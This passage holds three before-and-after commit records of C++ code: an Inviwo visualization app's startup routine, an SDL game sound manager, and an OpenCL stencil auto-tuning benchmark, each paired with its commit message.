splashScreen(&mainWin, clp.getShowSplashScreen());\n    inviwoApp.setProgressCallback([&splashScreen](std::string s) { splashScreen.showMessage(s); });\n\n    splashScreen.show();\n    splashScreen.showMessage(\"Loading application...\");\n\n    \/\/ Initialize application and register modules\n    splashScreen.showMessage(\"Initializing modules...\");\n    inviwoApp.registerModules(&inviwo::registerAllModules);\n    inviwoApp.processEvents();\n\n    \/\/ Do this after registerModules if some arguments were added\n    clp.parse(inviwo::CommandLineParser::Mode::Normal); \n\n    \/\/ setup main window\n    mainWin.initialize();\n    inviwoApp.processEvents();\n    splashScreen.showMessage(\"Loading workspace...\");\n    inviwoApp.processEvents();\n    mainWin.showWindow();\n    inviwoApp.processEvents();  \/\/ Make sure the gui is done loading before loading workspace\n\n    mainWin.openLastWorkspace(clp.getWorkspacePath());  \/\/ open last workspace\n    splashScreen.finish(&mainWin);\n\n    inviwoApp.processEvents();\n    clp.processCallbacks(); \/\/ run any command line callbacks from modules.\n    inviwoApp.processEvents();\n\n    \/\/ process last arguments\n    if (!clp.getQuitApplicationAfterStartup()) {\n        return inviwoApp.exec();\n    } else {\n        mainWin.exitInviwo(false);\n        return 0;\n    }\n}\n<commit_msg>apps: fixed crash on exit due to processor widget ownership<commit_after>\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2012-2015 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *********************************************************************************\/\n\n#include <warn\/push>\n#include <warn\/ignore\/all>\n#include <QFile>\n#include <warn\/pop>\n#include <inviwo\/qt\/widgets\/inviwoapplicationqt.h>\n#include <inviwo\/core\/common\/defaulttohighperformancegpu.h>\n#include <inviwo\/core\/util\/commandlineparser.h>\n#include <inviwo\/core\/util\/filesystem.h>\n#include <inviwo\/core\/util\/logcentral.h>\n#include <inviwo\/core\/util\/raiiutils.h>\n#include <inviwo\/core\/network\/processornetwork.h>\n#include <inviwo\/qt\/editor\/inviwomainwindow.h>\n#include \"inviwosplashscreen.h\"\n#include <moduleregistration.h>\n\nint main(int argc, char** argv) {\n    std::string basePath = inviwo::filesystem::findBasePath();\n\n    inviwo::LogCentral::init();\n    inviwo::LogCentral::getPtr()->registerLogger(new inviwo::FileLogger(basePath));\n    inviwo::InviwoApplicationQt inviwoApp(\"Inviwo v\" + IVW_VERSION, argc, argv);\n    inviwoApp.setWindowIcon(QIcon(\":\/icons\/inviwo_light.png\"));\n    inviwoApp.setAttribute(Qt::AA_NativeWindows);\n    QFile styleSheetFile(\":\/stylesheets\/inviwo.qss\");\n    styleSheetFile.open(QFile::ReadOnly);\n    QString styleSheet = QString::fromUtf8(styleSheetFile.readAll());\n    inviwoApp.setStyleSheet(styleSheet);\n    styleSheetFile.close();\n\n    auto& clp = inviwoApp.getCommandLineParser();\n\n    inviwo::InviwoMainWindow mainWin(&inviwoApp);\n    \/\/ setup core application\n    inviwoApp.setMainWindow(&mainWin);\n    \/\/ initialize and show splash screen\n    inviwo::InviwoSplashScreen splashScreen(&mainWin, clp.getShowSplashScreen());\n    inviwoApp.setProgressCallback([&splashScreen](std::string s) { splashScreen.showMessage(s); });\n\n    splashScreen.show();\n    splashScreen.showMessage(\"Loading application...\");\n\n    \/\/ Initialize application and register modules\n    splashScreen.showMessage(\"Initializing modules...\");\n    inviwoApp.registerModules(&inviwo::registerAllModules);\n    inviwoApp.processEvents();\n\n    \/\/ Do this after registerModules if some arguments were added\n    clp.parse(inviwo::CommandLineParser::Mode::Normal);\n\n    \/\/ setup main window\n    mainWin.initialize();\n    inviwoApp.processEvents();\n    splashScreen.showMessage(\"Loading workspace...\");\n    inviwoApp.processEvents();\n    mainWin.showWindow();\n    inviwoApp.processEvents();  \/\/ Make sure the gui is done loading before loading workspace\n\n    mainWin.openLastWorkspace(clp.getWorkspacePath());  \/\/ open last workspace\n    splashScreen.finish(&mainWin);\n\n    inviwoApp.processEvents();\n    clp.processCallbacks(); \/\/ run any command line callbacks from modules.\n    inviwoApp.processEvents();\n\n    inviwo::util::OnScopeExit clearNetwork([&](){\n        inviwoApp.getProcessorNetwork()->clear();\n    });\n\n    \/\/ process last arguments\n    if (!clp.getQuitApplicationAfterStartup()) {\n        return inviwoApp.exec();\n    }\n    else {\n        mainWin.exitInviwo(false);\n        return 0;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"SoundManager.hpp\"\n\n\/\/Mix_Chunk *SoundManager::effect;\n\/\/x_Chunk *SoundManager::bgmusic;\n\/\/int SoundManager::audio_channels, SoundManager::audio_rate,\n\/\/ SoundManager::audio_buffers;\n\/\/Uint16 SoundManager::audio_format;\nSoundManager *SoundManager::s = NULL;\n\nSoundManager::SoundManager(void){ \n  audio_rate = 44100;\n  audio_format = MIX_DEFAULT_FORMAT;\n  audio_channels = 2;\n  Mix_AllocateChannels(8);\n  audio_buffers = 4096;\n  bgmusic = NULL;\n  \/\/effect = NULL;\n  if(Mix_OpenAudio(audio_rate, audio_format, \n\t\t   audio_channels, audio_buffers)){\n    std::cerr<<\"unable to initiate Sound\"<<std::endl;\n  }\n  LoadSound(DOT, \"resources\/sounds\/bubble.wav\");\n  LoadSound(POWERUP, \"resources\/sounds\/powerup.wav\");\n  LoadSound(GHOST, \"resources\/sounds\/munch.wav\");\n  LoadSound(GAMEOVER, \"resources\/sounds\/gameover.wav\");\n  LoadSound(BONUS, \"resources\/sounds\/blibli.wav\");\n  \/\/ one more ghost  \n}\n\nSoundManager *SoundManager::Singleton(void){\n  \/\/s.bgmusic = NULL;\n  \/\/inits\n  if(!s)\n    s=new SoundManager();\n  return s;\n}\n\n\/\/Playing main background music\n\/\/ -1 for infinite repeats\nvoid SoundManager::Play(int channel, char *file, int repeats){\n  bgmusic = Mix_LoadWAV(file);\n  Mix_FadeInChannel(channel, bgmusic, repeats, 3000);\n  Mix_VolumeChunk(bgmusic, 0);\n}\n\nvoid SoundManager::MuteChannel(int channelnum){\n  Mix_VolumeChunk(Mix_GetChunk(channelnum),0);\n}\n\nvoid SoundManager::lolChannel(int channelnum, int volume){\n  Mix_VolumeChunk(Mix_GetChunk(channelnum),0 );\n}\n\nvoid SoundManager::Stop(){\n  \/\/stops the music\n\n   Mix_FreeChunk(bgmusic);\n  \/\/freeing the pointer\n  \/\/Mix_FreeMusic(bgmusic);\n  bgmusic = NULL;\n}\n\nvoid SoundManager::ChangeState(){\n  if(Mix_PausedMusic())\n    Mix_ResumeMusic();\n  else\n    Mix_PauseMusic();\n}\nvoid SoundManager::LoadSound(sound_t _sound, char *file){\n  effect[_sound] = Mix_LoadWAV(file);\n}\n\nvoid SoundManager::PlayEffect(int channel, sound_t _sound){\n  if(effect[_sound])\n    Mix_PlayChannel(channel, effect[_sound], 0);\n}\n\nvoid SoundManager::StopEffect(){\n  for(int i=0;i<CHUNKS;++i)\n    Mix_FreeChunk(effect[i]);\n}\n<commit_msg>hahahah<commit_after>#include \"SoundManager.hpp\"\n\n\/\/Mix_Chunk *SoundManager::effect;\n\/\/x_Chunk *SoundManager::bgmusic;\n\/\/int SoundManager::audio_channels, SoundManager::audio_rate,\n\/\/ SoundManager::audio_buffers;\n\/\/Uint16 SoundManager::audio_format;\nSoundManager *SoundManager::s = NULL;\n\nSoundManager::SoundManager(void){ \n  audio_rate = 44100;\n  audio_format = MIX_DEFAULT_FORMAT;\n  audio_channels = 2;\n  Mix_AllocateChannels(8);\n  audio_buffers = 4096;\n  bgmusic = NULL;\n  \/\/effect = NULL;\n  if(Mix_OpenAudio(audio_rate, audio_format, \n\t\t   audio_channels, audio_buffers)){\n    std::cerr<<\"unable to initiate Sound\"<<std::endl;\n  }\n  LoadSound(DOT, \"resources\/sounds\/bubble.wav\");\n  LoadSound(POWERUP, \"resources\/sounds\/powerup.wav\");\n  LoadSound(GHOST, \"resources\/sounds\/munch.wav\");\n  LoadSound(GAMEOVER, \"resources\/sounds\/gameover.wav\");\n  LoadSound(BONUS, \"resources\/sounds\/blibli.wav\");\n  \/\/ one more ghost  \n}\n\nSoundManager *SoundManager::Singleton(void){\n  \/\/s.bgmusic = NULL;\n  \/\/inits\n  if(!s)\n    s=new SoundManager();\n  return s;\n}\n\n\/\/Playing main background music\n\/\/ -1 for infinite repeats\nvoid SoundManager::Play(int channel, char *file, int repeats){\n  bgmusic = Mix_LoadWAV(file);\n  Mix_FadeInChannel(channel, bgmusic, repeats, 3000);\n  Mix_VolumeChunk(bgmusic, 64);\n}\n\nvoid SoundManager::MuteChannel(int channelnum){\n  Mix_VolumeChunk(Mix_GetChunk(channelnum),0);\n}\n\nvoid SoundManager::lolChannel(int channelnum, int volume){\n  Mix_VolumeChunk(Mix_GetChunk(channelnum),64 );\n}\n\nvoid SoundManager::Stop(){\n  \/\/stops the music\n\n   Mix_FreeChunk(bgmusic);\n  \/\/freeing the pointer\n  \/\/Mix_FreeMusic(bgmusic);\n  bgmusic = NULL;\n}\n\nvoid SoundManager::ChangeState(){\n  if(Mix_PausedMusic())\n    Mix_ResumeMusic();\n  else\n    Mix_PauseMusic();\n}\nvoid SoundManager::LoadSound(sound_t _sound, char *file){\n  effect[_sound] = Mix_LoadWAV(file);\n}\n\nvoid SoundManager::PlayEffect(int channel, sound_t _sound){\n  if(effect[_sound])\n    Mix_PlayChannel(channel, effect[_sound], 0);\n}\n\nvoid SoundManager::StopEffect(){\n  for(int i=0;i<CHUNKS;++i)\n    Mix_FreeChunk(effect[i]);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2016 Alessio Sclocco <a.sclocco@vu.nl>\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <vector>\n#include <iostream>\n#include <exception>\n#include <iomanip>\n#include <random>\n#include <algorithm>\n\n#include <configuration.hpp>\n\n#include <ArgumentList.hpp>\n#include <InitializeOpenCL.hpp>\n#include <Kernel.hpp>\n#include <Stencil.hpp>\n#include <utils.hpp>\n#include <Timer.hpp>\n#include <Stats.hpp>\n\n\nvoid initializeDeviceMemory(cl::Context & clContext, cl::CommandQueue * clQueue, std::vector< inputDataType > * input, cl::Buffer * input_d, cl::Buffer * output_d, const unsigned int outputSize);\n\nint main(int argc, char * argv[]) {\n  bool reInit = true;\n  unsigned int nrIterations = 0;\n  unsigned int samplingFactor = 100;\n  unsigned int clPlatformID = 0;\n  unsigned int clDeviceID = 0;\n  unsigned int vectorSize = 0;\n  unsigned int maxThreads = 0;\n  unsigned int maxItems = 0;\n  unsigned int matrixWidth = 0;\n  unsigned int padding = 0;\n  \/\/ Random number generation\n  std::random_device randomDevice;\n  std::default_random_engine randomEngine(randomDevice());\n  std::uniform_int_distribution<unsigned int> uniformDistribution(0, magicValue);\n\n  try {\n    isa::utils::ArgumentList args(argc, argv);\n\n    clPlatformID = args.getSwitchArgument< unsigned int >(\"-opencl_platform\");\n    clDeviceID = args.getSwitchArgument< unsigned int >(\"-opencl_device\");\n    if ( args.getSwitch(\"-sampling\") ) {\n      samplingFactor = args.getSwitchArgument< unsigned int >(\"-factor\");\n    }\n    nrIterations = args.getSwitchArgument< unsigned int >(\"-iterations\");\n    vectorSize = args.getSwitchArgument< unsigned int >(\"-vector\");\n    padding = args.getSwitchArgument< unsigned int >(\"-padding\");\n    maxThreads = args.getSwitchArgument< unsigned int >(\"-max_threads\");\n    maxItems = args.getSwitchArgument< unsigned int >(\"-max_items\");\n    matrixWidth = args.getSwitchArgument< unsigned int >(\"-matrix_width\");\n  } catch ( isa::utils::EmptyCommandLine & err ) {\n    std::cerr << argv[0] << \" -opencl_platform ... -opencl_device ... [-sampling -factor ...] -iterations ... -vector ... -padding ... -max_threads ... -max_items ... -matrix_width ...\" << std::endl;\n    return 1;\n  } catch ( std::exception & err ) {\n    std::cerr << err.what() << std::endl;\n    return 1;\n  }\n\n  cl::Context clContext;\n  std::vector< cl::Platform > * clPlatforms = new std::vector< cl::Platform >();\n  std::vector< cl::Device > * clDevices = new std::vector< cl::Device >();\n  std::vector< std::vector< cl::CommandQueue > > * clQueues = 0;\n\n  \/\/ Allocate host memory\n  std::vector< inputDataType > input((matrixWidth + 2) * isa::utils::pad(matrixWidth + 2, padding)), output(matrixWidth * isa::utils::pad(matrixWidth, padding)), output_c;\n  cl::Buffer input_d, output_d;\n\n  for ( unsigned int y = 0; y < matrixWidth + 2; y++ ) {\n    for ( unsigned int x = 0; x < matrixWidth + 2; x++ ) {\n      if ( y == 0 || y == (matrixWidth - 1) ) {\n        input[(y * isa::utils::pad(matrixWidth + 2, padding)) + x] = 0;\n      } else if ( x == 0 || x == (matrixWidth - 1) ) {\n        input[(y * isa::utils::pad(matrixWidth + 2, padding)) + x] = 0;\n      } else {\n        input[(y * isa::utils::pad(matrixWidth + 2, padding)) + x] = uniformDistribution(randomEngine);\n      }\n    }\n  }\n  output_c.resize(output.size());\n\n  \/\/ Run the control\n  TuneBench::stencil2D(input, output_c, matrixWidth, padding);\n\n  \/\/ Generate tuning configurations\n  std::vector<TuneBench::Stencil2DConf> configurations;\n  for ( unsigned int threadsD0 = vectorSize; threadsD0 <= maxThreads; threadsD0 += vectorSize) {\n    for ( unsigned int threadsD1 = 1; threadsD0 * threadsD1 <= maxThreads; threadsD1++ ) {\n      for ( unsigned int itemsD0 = 1; itemsD0 <= maxItems; itemsD0++ ) {\n        if ( matrixWidth % (threadsD0 * itemsD0) != 0 ) {\n          continue;\n        }\n        for ( unsigned int itemsD1 = 1; itemsD0 * itemsD1 <= maxItems; itemsD1++ ) {\n          if ( matrixWidth % (threadsD1 * itemsD1) != 0 ) {\n            continue;\n          }\n          for ( unsigned int local = 0; local < 2; local++ ) {\n            TuneBench::Stencil2DConf configuration;\n            configuration.setLocalMemory(static_cast<bool>(local));\n            configuration.setNrThreadsD0(threadsD0);\n            configuration.setNrThreadsD1(threadsD1);\n            configuration.setNrItemsD0(itemsD0);\n            configuration.setNrItemsD1(itemsD1);\n            configurations.push_back(configuration);\n          }\n        }\n      }\n    }\n  }\n  if ( samplingFactor < 100 ) {\n    unsigned int newSize = static_cast<unsigned int>((configurations.size() * samplingFactor) \/ 100.0);\n    std::shuffle(configurations.begin(), configurations.end(), randomEngine);\n    configurations.resize(newSize);\n  }\n\n  std::cout << std::fixed << std::endl;\n  std::cout << \"# matrixWidth *configuration* GFLOP\/s time stdDeviation COV\" << std::endl << std::endl;\n\n  for ( auto configuration = configurations.begin(); configuration != configurations.end(); ++configuration ) {\n    \/\/ Generate kernel\n    double gflops = isa::utils::giga(static_cast< uint64_t >(matrixWidth) * matrixWidth * 18.0);\n    cl::Event clEvent;\n    cl::Kernel * kernel;\n    isa::utils::Timer timer;\n    std::string * code = TuneBench::getStencil2DOpenCL(*configuration, inputDataName, matrixWidth, padding);\n\n    if ( reInit ) {\n      delete clQueues;\n      clQueues = new std::vector< std::vector< cl::CommandQueue > >();\n      isa::OpenCL::initializeOpenCL(clPlatformID, 1, clPlatforms, &clContext, clDevices, clQueues);\n      try {\n        initializeDeviceMemory(clContext, &(clQueues->at(clDeviceID)[0]), &input, &input_d, &output_d, output.size());\n      } catch ( cl::Error & err ) {\n        return -1;\n      }\n      reInit = false;\n    }\n    try {\n      kernel = isa::OpenCL::compile(\"stencil2D\", *code, \"-cl-mad-enable -Werror\", clContext, clDevices->at(clDeviceID));\n    } catch ( isa::OpenCL::OpenCLError & err ) {\n      std::cerr << err.what() << std::endl;\n      delete code;\n      break;\n    }\n    delete code;\n\n    cl::NDRange global(matrixWidth \/ (*configuration).getNrItemsD0(), matrixWidth \/ (*configuration).getNrItemsD1());\n    cl::NDRange local((*configuration).getNrThreadsD0(), (*configuration).getNrThreadsD1());\n\n    kernel->setArg(0, input_d);\n    kernel->setArg(1, output_d);\n\n    try {\n      \/\/ Warm-up run\n      clQueues->at(clDeviceID)[0].finish();\n      clQueues->at(clDeviceID)[0].enqueueNDRangeKernel(*kernel, cl::NullRange, global, local, 0, &clEvent);\n      clEvent.wait();\n      \/\/ Tuning runs\n      for ( unsigned int iteration = 0; iteration < nrIterations; iteration++ ) {\n        timer.start();\n        clQueues->at(clDeviceID)[0].enqueueNDRangeKernel(*kernel, cl::NullRange, global, local, 0, &clEvent);\n        clEvent.wait();\n        timer.stop();\n      }\n      clQueues->at(clDeviceID)[0].enqueueReadBuffer(output_d, CL_TRUE, 0, output.size() * sizeof(inputDataType), reinterpret_cast< void * >(output.data()), 0, &clEvent);\n      clEvent.wait();\n    } catch ( cl::Error & err ) {\n      reInit = true;\n      std::cerr << \"OpenCL kernel execution error (\";\n      std::cerr << (*configuration).print();\n      std::cerr << \"): \";\n      std::cerr << isa::utils::toString(err.err()) << std::endl;\n      delete kernel;\n      if ( err.err() == -4 || err.err() == -61 ) {\n        return -1;\n      }\n      continue;\n    }\n    delete kernel;\n\n    bool error = false;\n    for ( unsigned int y = 0; y < matrixWidth; y++ ) {\n      for ( unsigned int x = 0; x < matrixWidth; x++ ) {\n        if ( !isa::utils::same(output[(y * isa::utils::pad(matrixWidth, padding)) + x], output_c[(y * isa::utils::pad(matrixWidth, padding)) + x]) ) {\n          std::cerr << \"Output error (\" << (*configuration).print() << \").\" << std::endl;\n          error = true;\n          continue;\n        }\n      }\n      if ( error ) {\n        continue;\n      }\n    }\n    if ( error ) {\n      continue;\n    }\n\n    std::cout << matrixWidth << \" \";\n    std::cout << (*configuration).print() << \" \";\n    std::cout << std::setprecision(3);\n    std::cout << gflops \/ timer.getAverageTime() << \" \";\n    std::cout << std::setprecision(6);\n    std::cout << timer.getAverageTime() << \" \" << timer.getStandardDeviation() << \" \" << timer.getCoefficientOfVariation() << std::endl;\n  }\n  std::cout << std::endl;\n\n  return 0;\n}\n\nvoid initializeDeviceMemory(cl::Context & clContext, cl::CommandQueue * clQueue, std::vector< inputDataType > * input, cl::Buffer * input_d, cl::Buffer * output_d, const unsigned int outputSize) {\n  try {\n    *input_d = cl::Buffer(clContext, CL_MEM_READ_ONLY, input->size() * sizeof(inputDataType), 0, 0);\n    *output_d = cl::Buffer(clContext, CL_MEM_WRITE_ONLY, outputSize * sizeof(inputDataType), 0, 0);\n    clQueue->enqueueWriteBuffer(*input_d, CL_FALSE, 0, input->size() * sizeof(inputDataType), reinterpret_cast< void * >(input->data()));\n    clQueue->finish();\n  } catch ( cl::Error & err ) {\n    std::cerr << \"OpenCL error (memory initialization): \" << isa::utils::toString(err.err()) << \".\" << std::endl;\n    throw;\n  }\n}\n\n<commit_msg>During the output check I need to break.<commit_after>\/\/ Copyright 2016 Alessio Sclocco <a.sclocco@vu.nl>\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <vector>\n#include <iostream>\n#include <exception>\n#include <iomanip>\n#include <random>\n#include <algorithm>\n\n#include <configuration.hpp>\n\n#include <ArgumentList.hpp>\n#include <InitializeOpenCL.hpp>\n#include <Kernel.hpp>\n#include <Stencil.hpp>\n#include <utils.hpp>\n#include <Timer.hpp>\n#include <Stats.hpp>\n\n\nvoid initializeDeviceMemory(cl::Context & clContext, cl::CommandQueue * clQueue, std::vector< inputDataType > * input, cl::Buffer * input_d, cl::Buffer * output_d, const unsigned int outputSize);\n\nint main(int argc, char * argv[]) {\n  bool reInit = true;\n  unsigned int nrIterations = 0;\n  unsigned int samplingFactor = 100;\n  unsigned int clPlatformID = 0;\n  unsigned int clDeviceID = 0;\n  unsigned int vectorSize = 0;\n  unsigned int maxThreads = 0;\n  unsigned int maxItems = 0;\n  unsigned int matrixWidth = 0;\n  unsigned int padding = 0;\n  \/\/ Random number generation\n  std::random_device randomDevice;\n  std::default_random_engine randomEngine(randomDevice());\n  std::uniform_int_distribution<unsigned int> uniformDistribution(0, magicValue);\n\n  try {\n    isa::utils::ArgumentList args(argc, argv);\n\n    clPlatformID = args.getSwitchArgument< unsigned int >(\"-opencl_platform\");\n    clDeviceID = args.getSwitchArgument< unsigned int >(\"-opencl_device\");\n    if ( args.getSwitch(\"-sampling\") ) {\n      samplingFactor = args.getSwitchArgument< unsigned int >(\"-factor\");\n    }\n    nrIterations = args.getSwitchArgument< unsigned int >(\"-iterations\");\n    vectorSize = args.getSwitchArgument< unsigned int >(\"-vector\");\n    padding = args.getSwitchArgument< unsigned int >(\"-padding\");\n    maxThreads = args.getSwitchArgument< unsigned int >(\"-max_threads\");\n    maxItems = args.getSwitchArgument< unsigned int >(\"-max_items\");\n    matrixWidth = args.getSwitchArgument< unsigned int >(\"-matrix_width\");\n  } catch ( isa::utils::EmptyCommandLine & err ) {\n    std::cerr << argv[0] << \" -opencl_platform ... -opencl_device ... [-sampling -factor ...] -iterations ... -vector ... -padding ... -max_threads ... -max_items ... -matrix_width ...\" << std::endl;\n    return 1;\n  } catch ( std::exception & err ) {\n    std::cerr << err.what() << std::endl;\n    return 1;\n  }\n\n  cl::Context clContext;\n  std::vector< cl::Platform > * clPlatforms = new std::vector< cl::Platform >();\n  std::vector< cl::Device > * clDevices = new std::vector< cl::Device >();\n  std::vector< std::vector< cl::CommandQueue > > * clQueues = 0;\n\n  \/\/ Allocate host memory\n  std::vector< inputDataType > input((matrixWidth + 2) * isa::utils::pad(matrixWidth + 2, padding)), output(matrixWidth * isa::utils::pad(matrixWidth, padding)), output_c;\n  cl::Buffer input_d, output_d;\n\n  for ( unsigned int y = 0; y < matrixWidth + 2; y++ ) {\n    for ( unsigned int x = 0; x < matrixWidth + 2; x++ ) {\n      if ( y == 0 || y == (matrixWidth - 1) ) {\n        input[(y * isa::utils::pad(matrixWidth + 2, padding)) + x] = 0;\n      } else if ( x == 0 || x == (matrixWidth - 1) ) {\n        input[(y * isa::utils::pad(matrixWidth + 2, padding)) + x] = 0;\n      } else {\n        input[(y * isa::utils::pad(matrixWidth + 2, padding)) + x] = uniformDistribution(randomEngine);\n      }\n    }\n  }\n  output_c.resize(output.size());\n\n  \/\/ Run the control\n  TuneBench::stencil2D(input, output_c, matrixWidth, padding);\n\n  \/\/ Generate tuning configurations\n  std::vector<TuneBench::Stencil2DConf> configurations;\n  for ( unsigned int threadsD0 = vectorSize; threadsD0 <= maxThreads; threadsD0 += vectorSize) {\n    for ( unsigned int threadsD1 = 1; threadsD0 * threadsD1 <= maxThreads; threadsD1++ ) {\n      for ( unsigned int itemsD0 = 1; itemsD0 <= maxItems; itemsD0++ ) {\n        if ( matrixWidth % (threadsD0 * itemsD0) != 0 ) {\n          continue;\n        }\n        for ( unsigned int itemsD1 = 1; itemsD0 * itemsD1 <= maxItems; itemsD1++ ) {\n          if ( matrixWidth % (threadsD1 * itemsD1) != 0 ) {\n            continue;\n          }\n          for ( unsigned int local = 0; local < 2; local++ ) {\n            TuneBench::Stencil2DConf configuration;\n            configuration.setLocalMemory(static_cast<bool>(local));\n            configuration.setNrThreadsD0(threadsD0);\n            configuration.setNrThreadsD1(threadsD1);\n            configuration.setNrItemsD0(itemsD0);\n            configuration.setNrItemsD1(itemsD1);\n            configurations.push_back(configuration);\n          }\n        }\n      }\n    }\n  }\n  if ( samplingFactor < 100 ) {\n    unsigned int newSize = static_cast<unsigned int>((configurations.size() * samplingFactor) \/ 100.0);\n    std::shuffle(configurations.begin(), configurations.end(), randomEngine);\n    configurations.resize(newSize);\n  }\n\n  std::cout << std::fixed << std::endl;\n  std::cout << \"# matrixWidth *configuration* GFLOP\/s time stdDeviation COV\" << std::endl << std::endl;\n\n  for ( auto configuration = configurations.begin(); configuration != configurations.end(); ++configuration ) {\n    \/\/ Generate kernel\n    double gflops = isa::utils::giga(static_cast< uint64_t >(matrixWidth) * matrixWidth * 18.0);\n    cl::Event clEvent;\n    cl::Kernel * kernel;\n    isa::utils::Timer timer;\n    std::string * code = TuneBench::getStencil2DOpenCL(*configuration, inputDataName, matrixWidth, padding);\n\n    if ( reInit ) {\n      delete clQueues;\n      clQueues = new std::vector< std::vector< cl::CommandQueue > >();\n      isa::OpenCL::initializeOpenCL(clPlatformID, 1, clPlatforms, &clContext, clDevices, clQueues);\n      try {\n        initializeDeviceMemory(clContext, &(clQueues->at(clDeviceID)[0]), &input, &input_d, &output_d, output.size());\n      } catch ( cl::Error & err ) {\n        return -1;\n      }\n      reInit = false;\n    }\n    try {\n      kernel = isa::OpenCL::compile(\"stencil2D\", *code, \"-cl-mad-enable -Werror\", clContext, clDevices->at(clDeviceID));\n    } catch ( isa::OpenCL::OpenCLError & err ) {\n      std::cerr << err.what() << std::endl;\n      delete code;\n      break;\n    }\n    delete code;\n\n    cl::NDRange global(matrixWidth \/ (*configuration).getNrItemsD0(), matrixWidth \/ (*configuration).getNrItemsD1());\n    cl::NDRange local((*configuration).getNrThreadsD0(), (*configuration).getNrThreadsD1());\n\n    kernel->setArg(0, input_d);\n    kernel->setArg(1, output_d);\n\n    try {\n      \/\/ Warm-up run\n      clQueues->at(clDeviceID)[0].finish();\n      clQueues->at(clDeviceID)[0].enqueueNDRangeKernel(*kernel, cl::NullRange, global, local, 0, &clEvent);\n      clEvent.wait();\n      \/\/ Tuning runs\n      for ( unsigned int iteration = 0; iteration < nrIterations; iteration++ ) {\n        timer.start();\n        clQueues->at(clDeviceID)[0].enqueueNDRangeKernel(*kernel, cl::NullRange, global, local, 0, &clEvent);\n        clEvent.wait();\n        timer.stop();\n      }\n      clQueues->at(clDeviceID)[0].enqueueReadBuffer(output_d, CL_TRUE, 0, output.size() * sizeof(inputDataType), reinterpret_cast< void * >(output.data()), 0, &clEvent);\n      clEvent.wait();\n    } catch ( cl::Error & err ) {\n      reInit = true;\n      std::cerr << \"OpenCL kernel execution error (\";\n      std::cerr << (*configuration).print();\n      std::cerr << \"): \";\n      std::cerr << isa::utils::toString(err.err()) << std::endl;\n      delete kernel;\n      if ( err.err() == -4 || err.err() == -61 ) {\n        return -1;\n      }\n      continue;\n    }\n    delete kernel;\n\n    bool error = false;\n    for ( unsigned int y = 0; y < matrixWidth; y++ ) {\n      for ( unsigned int x = 0; x < matrixWidth; x++ ) {\n        if ( !isa::utils::same(output[(y * isa::utils::pad(matrixWidth, padding)) + x], output_c[(y * isa::utils::pad(matrixWidth, padding)) + x]) ) {\n          std::cerr << \"Output error (\" << (*configuration).print() << \").\" << std::endl;\n          error = true;\n          break;\n        }\n      }\n      if ( error ) {\n        break;\n      }\n    }\n    if ( error ) {\n      continue;\n    }\n\n    std::cout << matrixWidth << \" \";\n    std::cout << (*configuration).print() << \" \";\n    std::cout << std::setprecision(3);\n    std::cout << gflops \/ timer.getAverageTime() << \" \";\n    std::cout << std::setprecision(6);\n    std::cout << timer.getAverageTime() << \" \" << timer.getStandardDeviation() << \" \" << timer.getCoefficientOfVariation() << std::endl;\n  }\n  std::cout << std::endl;\n\n  return 0;\n}\n\nvoid initializeDeviceMemory(cl::Context & clContext, cl::CommandQueue * clQueue, std::vector< inputDataType > * input, cl::Buffer * input_d, cl::Buffer * output_d, const unsigned int outputSize) {\n  try {\n    *input_d = cl::Buffer(clContext, CL_MEM_READ_ONLY, input->size() * sizeof(inputDataType), 0, 0);\n    *output_d = cl::Buffer(clContext, CL_MEM_WRITE_ONLY, outputSize * sizeof(inputDataType), 0, 0);\n    clQueue->enqueueWriteBuffer(*input_d, CL_FALSE, 0, input->size() * sizeof(inputDataType), reinterpret_cast< void * >(input->data()));\n    clQueue->finish();\n  } catch ( cl::Error & err ) {\n    std::cerr << \"OpenCL error (memory initialization): \" << isa::utils::toString(err.err()) << \".\" << std::endl;\n    throw;\n  }\n}\n\n<|endoftext|>"}
